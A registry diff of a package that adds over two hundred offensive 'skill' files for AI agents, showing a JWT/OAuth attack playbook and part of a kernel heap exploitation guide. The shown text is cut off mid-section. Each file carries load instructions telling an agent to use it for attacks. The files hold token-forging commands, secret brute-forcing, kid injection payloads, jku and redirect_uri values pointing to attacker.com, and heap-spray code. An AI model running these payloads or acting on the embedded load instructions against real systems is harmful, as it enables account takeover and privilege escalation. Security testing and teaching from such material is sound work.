ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,301 @@
1
+ ---
2
+ name: jwt-oauth-token-attacks
3
+ description: >-
4
+ JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.gated: true
5
+ ---
6
+
7
+ # SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Use this file for token-centric attacks and flow abuse. Also load:
14
+
15
+ - [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) for redirect URI, state, nonce, PKCE, and account-binding validation
16
+ - [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when browser-readable APIs or token leakage may exist cross-origin
17
+ - [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md) when the target uses enterprise SSO outside OAuth/OIDC
18
+
19
+ ---
20
+
21
+ ## 1. JWT ANATOMY
22
+
23
+ ```
24
+ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
25
+ └─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
26
+ HEADER PAYLOAD SIGNATURE
27
+ ```
28
+
29
+ **Decode in terminal**:
30
+ ```bash
31
+ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
32
+ # → {"alg":"HS256","typ":"JWT"}
33
+
34
+ echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
35
+ # → {"userId":1234,"role":"user"}
36
+ ```
37
+
38
+ **Common claim targets** (modify to escalate):
39
+ ```json
40
+ {
41
+ "role": "admin",
42
+ "isAdmin": true,
43
+ "userId": OTHER_USER_ID,
44
+ "email": "victim@target.com",
45
+ "sub": "admin",
46
+ "permissions": ["admin", "write", "delete"],
47
+ "tier": "premium"
48
+ }
49
+ ```
50
+
51
+ ---
52
+
53
+ ## 2. ATTACK 1 — ALGORITHM NONE (alg:none)
54
+
55
+ Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
56
+
57
+ ```bash
58
+ # Burp JWT Editor / python-jwt attack:
59
+ # Step 1: Decode header
60
+ echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
61
+
62
+ # Step 2: Create new header
63
+ echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
64
+
65
+ # Step 3: Modify payload (e.g., role → admin):
66
+ echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
67
+
68
+ # Step 4: Construct token with empty signature:
69
+ HEADER.PAYLOAD.
70
+ # OR:
71
+ HEADER.PAYLOAD
72
+ ```
73
+
74
+ **Tool (jwt_tool)**:
75
+ ```bash
76
+ python3 jwt_tool.py JWT_TOKEN -X a
77
+ # → automatically generates alg:none variants
78
+ ```
79
+
80
+ ---
81
+
82
+ ## 3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION
83
+
84
+ **When server uses RS256** (asymmetric — RSA private key signs, public key verifies):
85
+ - Server's public key is often discoverable (JWKS endpoint, `/certs`, source code)
86
+ - Attack: tell server "this is HS256" → server verifies HS256 HMAC using **the public key as secret**
87
+
88
+ ```bash
89
+ # Step 1: Obtain public key (PEM format)
90
+ # From: /api/.well-known/jwks.json → convert to PEM
91
+ # From: /certs endpoint
92
+ # From: OpenSSL extraction from HTTPS cert
93
+
94
+ # Step 2: Use jwt_tool to sign with HS256 using public key as secret:
95
+ python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
96
+
97
+ # Step 3: Manually:
98
+ # Modify header: {"alg":"HS256","typ":"JWT"}
99
+ # Sign entire header.payload with HMAC-SHA256 using PEM public key bytes
100
+ ```
101
+
102
+ ---
103
+
104
+ ## 4. ATTACK 3 — JWT SECRET BRUTE FORCE
105
+
106
+ HMAC-based JWTs (HS256/HS384/HS512) with weak secret:
107
+
108
+ ```bash
109
+ # hashcat (fast):
110
+ hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
111
+
112
+ # john:
113
+ echo "JWT_TOKEN_HERE" > jwt.txt
114
+ john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
115
+
116
+ # jwt_tool:
117
+ python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
118
+ ```
119
+
120
+ **Common weak secrets to test manually**:
121
+ ```
122
+ secret, password, 123456, qwerty, changeme, your-256-bit-secret,
123
+ APP_NAME, app_name, production, jwt_secret, SECRET_KEY
124
+ ```
125
+
126
+ ---
127
+
128
+ ## 5. ATTACK 4 — kid (Key ID) INJECTION
129
+
130
+ The `kid` header parameter specifies which key to use for verification. No sanitization = injection:
131
+
132
+ ### kid SQL Injection
133
+ ```json
134
+ {"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
135
+ ```
136
+ If backend queries SQL: `SELECT key FROM keys WHERE kid = 'INPUT'`
137
+ Result: HMAC key = `'attacker_controlled_key'` → forge any payload signed with this value.
138
+
139
+ ### kid Path Traversal (file read)
140
+ ```json
141
+ {"alg":"HS256","kid":"../../../../dev/null"}
142
+ ```
143
+ Server reads `/dev/null` as key → empty string → sign token with empty HMAC.
144
+
145
+ ```json
146
+ {"alg":"HS256","kid":"../../../../etc/hostname"}
147
+ ```
148
+ Server reads hostname as key → forge tokens signed with hostname string.
149
+
150
+ ---
151
+
152
+ ## 6. ATTACK 5 — jku / x5u Header Injection
153
+
154
+ `jku` points to JSON Web Key Set URL. If not whitelisted:
155
+ ```json
156
+ {"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
157
+ ```
158
+
159
+ **Setup**:
160
+ ```bash
161
+ # Generate RSA key pair:
162
+ openssl genrsa -out private.pem 2048
163
+ openssl rsa -in private.pem -pubout -out public.pem
164
+
165
+ # Create JWKS:
166
+ python3 -c "
167
+ import json, base64, struct
168
+ # ... (use python-jwcrypto or jwt_tool to export JWKS)
169
+ "
170
+
171
+ # Host malicious JWKS at attacker.com/malicious-jwks.json
172
+ # Sign JWT with attacker's private key
173
+ # Server fetches attacker's JWKS → verifies with attacker's public key → accepts
174
+ ```
175
+
176
+ **jwt_tool automation**:
177
+ ```bash
178
+ python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json
179
+ ```
180
+
181
+ ---
182
+
183
+ ## 7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)
184
+
185
+ State parameter prevents CSRF in OAuth. If missing:
186
+
187
+ ```
188
+ Attack:
189
+ 1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
190
+ https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
191
+
192
+ 2. Get the authorization code (stop before exchanging it)
193
+ 3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
194
+ 4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
195
+ → ACCOUNT TAKEOVER
196
+ ```
197
+
198
+ ---
199
+
200
+ ## 8. OAUTH — REDIRECT_URI BYPASS
201
+
202
+ Authorization codes are sent to `redirect_uri`. If validation is weak:
203
+
204
+ ### Open Redirect in redirect_uri
205
+ ```
206
+ Original: redirect_uri=https://target.com/callback
207
+ Attack: redirect_uri=https://target.com/callback/../../../attacker.com
208
+ redirect_uri=https://attacker.com.target.com/callback
209
+ redirect_uri=https://target.com@attacker.com/callback
210
+ ```
211
+
212
+ ### Partial Path Match
213
+ ```
214
+ Whitelist: https://target.com/callback
215
+ Attack: https://target.com/callback%2f../admin (URL path confusion)
216
+ https://target.com/callbackXSS (prefix match only)
217
+ ```
218
+
219
+ ### Localhost / Development Redirect
220
+ ```
221
+ redirect_uri=http://localhost/steal
222
+ redirect_uri=urn:ietf:wg:oauth:2.0:oob (mobile apps)
223
+ ```
224
+
225
+ ---
226
+
227
+ ## 9. OAUTH — IMPLICIT FLOW TOKEN THEFT
228
+
229
+ Implicit flow: token sent in URL fragment `#access_token=...`
230
+
231
+ **Fragment leakage scenarios**:
232
+ - Redirect to attacker page: fragment accessible via `document.referrer` or via `<script>window.location.href</script>` in target page
233
+ - Open redirect: `redirect_uri=https://target.com/open-redirect?url=https://attacker.com` → token in fragment lands at attacker's page
234
+
235
+ ---
236
+
237
+ ## 10. OAUTH — SCOPE ESCALATION
238
+
239
+ Request broader scope than authorized in authorization code:
240
+ ```
241
+ Authorized scope: read:profile
242
+ Attack: During token exchange, add scope=admin or scope=read:admin
243
+ → Does server grant requested scope or issued scope?
244
+ ```
245
+
246
+ ---
247
+
248
+ ## 11. TOKEN LEAKAGE VECTORS
249
+
250
+ ### Referer Header
251
+ Token in URL → page loads external resource → Referer leaks token:
252
+ ```
253
+ https://target.com/dashboard#access_token=TOKEN
254
+ → HTML loads: <img src="https://analytics.third-party.com/track">
255
+ → Referer: https://target.com/dashboard#access_token=TOKEN
256
+ → analytics.third-party.com sees token in Referer logs
257
+ ```
258
+
259
+ ### Server Logs
260
+ Access tokens sent in query parameters are stored in:
261
+ ```
262
+ /var/log/nginx/access.log
263
+ /var/log/apache2/access.log
264
+ ELB/ALB logs (AWS)
265
+ CloudFront logs
266
+ CDN logs
267
+ ```
268
+
269
+ ---
270
+
271
+ ## 12. JWT TESTING CHECKLIST
272
+
273
+ ```
274
+ □ Decode header + payload (base64 decode each part)
275
+ □ Identify algorithm: HS256/RS256/ES256/none
276
+ □ Modify payload fields (role, userId, isAdmin) → change signature too
277
+ □ Test alg:none → remove signature entirely
278
+ □ If RS256: find public key → attempt RS256→HS256 confusion
279
+ □ If HS256: brute force with hashcat/rockyou
280
+ □ Check kid parameter → try SQL injection + path traversal
281
+ □ Check jku/x5u header → redirect to attacker JWKS
282
+ □ Test token reuse after logout
283
+ □ Test expired token acceptance (exp claim)
284
+ □ Check for token in GET params (log leakage) vs header
285
+ ```
286
+
287
+ ---
288
+
289
+ ## 13. OAUTH TESTING CHECKLIST
290
+
291
+ ```
292
+ □ Check for state parameter in authorization request
293
+ □ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
294
+ □ Can tokens be exchanged more than once?
295
+ □ Test scope escalation during token exchange
296
+ □ Implicit flow: check for token in Referer/history
297
+ □ PKCE: can code_challenge be bypassed or code_verifier be empty?
298
+ □ Check for authorization code reuse (code must be single-use)
299
+ □ Test account linking abuse: link OAuth to existing account with same email
300
+ □ Check OAuth provider confusion: use Apple ID to link where Google expected
301
+ ```
@@ -0,0 +1,293 @@
1
+ # Kernel Heap Techniques — SLUB, Cross-Cache, msg_msg, pipe_buffer, sk_buff
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this when exploiting kernel heap vulnerabilities. Covers SLUB allocator internals, object lifecycle, cross-cache attack methodology, and exploitation of specific kernel structures (msg_msg, pipe_buffer, sk_buff, setxattr). Assumes [SKILL.md](./SKILL.md) is loaded for kernel exploitation model and [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) for mitigation context.
4
+
5
+ ---
6
+
7
+ ## 1. SLUB ALLOCATOR OVERVIEW
8
+
9
+ Linux kernel uses SLUB (Unqueued Slab Allocator) for small kernel object allocation.
10
+
11
+ ### Key Concepts
12
+
13
+ | Concept | Description |
14
+ |---|---|
15
+ | Slab | Contiguous pages holding objects of the same size |
16
+ | Cache | Named pool for specific object types (e.g., `kmalloc-64`, `task_struct`) |
17
+ | Freelist | Per-CPU linked list of free objects within a slab |
18
+ | Partial list | Per-node list of slabs with some free objects |
19
+ | Generic caches | `kmalloc-{32,64,96,128,192,256,512,...}` for generic allocations |
20
+
21
+ ### Object Layout in Slab
22
+
23
+ ```
24
+ ┌─────────┬─────────┬─────────┬─────────┐
25
+ │ Object0 │ Object1 │ Object2 │ Object3 │ ← one slab page
26
+ └─────────┴─────────┴─────────┴─────────┘
27
+ FP→Obj2 FP→Obj3 FP→NULL (allocated)
28
+
29
+ FP = freelist pointer (stored at object start or random offset)
30
+ ```
31
+
32
+ ### Freelist Randomization (SLAB_FREELIST_RANDOM)
33
+
34
+ Object allocation order within a slab is randomized. Affects heap spray reliability.
35
+
36
+ ### Freelist Hardening (SLAB_FREELIST_HARDENED)
37
+
38
+ ```c
39
+ // Freelist pointer is XOR'd with a random value and the address
40
+ // Similar to glibc safe-linking
41
+ stored_fp = ptr ^ random_value ^ &stored_fp
42
+ ```
43
+
44
+ ---
45
+
46
+ ## 2. SLAB OBJECT LIFECYCLE
47
+
48
+ ```
49
+ kmalloc(size, GFP_KERNEL)
50
+ → Check per-CPU freelist (fastest)
51
+ → Check per-CPU partial list
52
+ → Check per-node partial list
53
+ → Allocate new slab pages
54
+
55
+ kfree(ptr)
56
+ → Return to per-CPU freelist (if same CPU and slab)
57
+ → Return to per-node partial list
58
+ → Free slab pages (if all objects freed)
59
+ ```
60
+
61
+ ### Heap Spray Strategy
62
+
63
+ 1. Identify target slab cache (based on object size)
64
+ 2. Drain existing free objects (spray dummy allocations)
65
+ 3. Trigger vulnerability (UAF/OOB on target object)
66
+ 4. Spray replacement objects (same size → land in freed slot)
67
+
68
+ ---
69
+
70
+ ## 3. CROSS-CACHE ATTACK
71
+
72
+ **Exploit UAF across different slab caches by forcing page-level reuse.**
73
+
74
+ ### Why Cross-Cache?
75
+
76
+ Many kernel objects have dedicated caches (e.g., `struct cred` in `cred_jar`, not `kmalloc-192`). Cannot spray `kmalloc-192` to replace a freed `cred` object. Cross-cache forces the slab pages to be returned to the page allocator and reallocated to a different cache.
77
+
78
+ ### Methodology
79
+
80
+ ```
81
+ 1. Spray target objects to fill slabs [Target slab: all allocated]
82
+ 2. Free target objects (leave one page worth) [Target slab: one partial page]
83
+ 3. Free ALL objects in that page [Page returned to page allocator]
84
+ 4. Spray attacker objects (different cache) [Page reallocated to attacker cache]
85
+ 5. UAF on target object now aliases attacker object on same physical page
86
+ ```
87
+
88
+ ### Page-Level UAF Steps
89
+
90
+ ```c
91
+ // Phase 1: Fill target cache so new slabs are allocated
92
+ for (int i = 0; i < SPRAY_COUNT; i++)
93
+ target_alloc(); // allocate target objects
94
+
95
+ // Phase 2: Create hole pattern (free specific objects to isolate one slab page)
96
+ // Free all objects in one specific slab page
97
+ for (int i = PAGE_START; i < PAGE_START + OBJS_PER_PAGE; i++)
98
+ target_free(i);
99
+
100
+ // Phase 3: Victim object freed (UAF) — was on the now-freed page
101
+ trigger_uaf();
102
+
103
+ // Phase 4: Page is returned to buddy allocator
104
+ // Phase 5: Reallocate page into attacker's cache
105
+ for (int i = 0; i < SPRAY_COUNT; i++)
106
+ attacker_alloc(); // e.g., msgsnd() for msg_msg
107
+ ```
108
+
109
+ ---
110
+
111
+ ## 4. msg_msg EXPLOITATION
112
+
113
